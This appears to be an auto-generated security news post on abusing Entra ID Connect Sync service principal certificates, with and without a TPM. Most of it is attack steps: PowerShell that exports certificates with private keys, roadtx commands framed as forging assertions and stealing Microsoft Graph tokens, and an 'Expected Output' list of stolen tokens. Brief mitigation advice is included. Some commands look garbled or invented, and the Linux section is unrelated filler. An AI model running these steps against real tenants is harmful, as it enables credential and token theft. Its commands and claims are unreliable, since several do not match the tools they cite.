Exploiting Entra ID Connect Sync with Service Principal and TPM

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Since Entra ID Connect Sync now supports service principals (a long-awaited feature), security researchers have explored its implications. On systems without a TPM, attackers can dump authentication certificates and private keys. However, on TPM-enabled hosts, while direct extraction is blocked, attackers can use the TPM-based key to generate assertions for token theft via tools like roadtx.

You Should Know:

1. Dumping Certificates on Non-TPM Systems

If the Entra ID Connect host lacks TPM, certificates and private keys can be extracted using PowerShell:

 List certificates in the local machine store 
Get-ChildItem -Path Cert:\LocalMachine\My

Export certificate with private key 
$cert = Get-ChildItem -Path Cert:\LocalMachine\My -CodeSigningCert 
Export-PfxCertificate -Cert $cert -FilePath "C:\temp\exported.pfx" -Password (ConvertTo-SecureString -String "P@ssw0rd!" -Force -AsPlainText)

2. Exploiting TPM-Protected Keys

On TPM-enabled systems, direct extraction fails, but attackers can generate assertions:

 Using roadtx to forge tokens 
roadtx forge-assertion --tpm-key-handle 0x81000000 --audience "https://login.microsoftonline.com" --output assertion.bin

Requesting access token with the assertion 
roadtx get-token --assertion-file assertion.bin --client-id <service_principal_id> --resource "https://graph.microsoft.com"

3. Mitigation Steps

To prevent abuse:

  • Restrict access to the Entra Connect server.
  • Enable TPM-backed certificates where possible.
  • Monitor for unusual token requests: 
 Check Entra ID sign-in logs (Azure AD) 
Get-AzureADAuditSignInLogs -Filter "createdDateTime gt 2024-01-01" | Where-Object { $_.AppDisplayName -eq "Entra ID Connect" }

4. Linux Alternative (If Attacker Moves to Linux)

If an attacker pivots to Linux, they can still manipulate TPM keys:

 Interacting with TPM2.0 
tpm2_getrandom --hex 32 
tpm2_createprimary -C e -G rsa -c primary.ctx 
tpm2_create -C primary.ctx -G rsa -u key.pub -r key.priv

What Undercode Say

This research highlights critical gaps in Entra ID Connect’s security model. While TPMs add protection, they don’t fully block token theft. Organizations must:
– Audit service principal permissions regularly.
– Use hardware security modules (HSMs) for high-privilege keys.
– Monitor TPM-based authentication anomalies with SIEM rules.

Prediction

Future attacks will increasingly abuse TPM-backed keys, leading Microsoft to enforce stricter attestation requirements. Expect more zero-trust policies around service principal usage.

Expected Output:

  • Extracted certificates (exported.pfx)
  • Forged TPM assertions (assertion.bin)
  • Stolen access tokens (via roadtx)

IT/Security Reporter URL:

Reported By: Dirkjanm Since – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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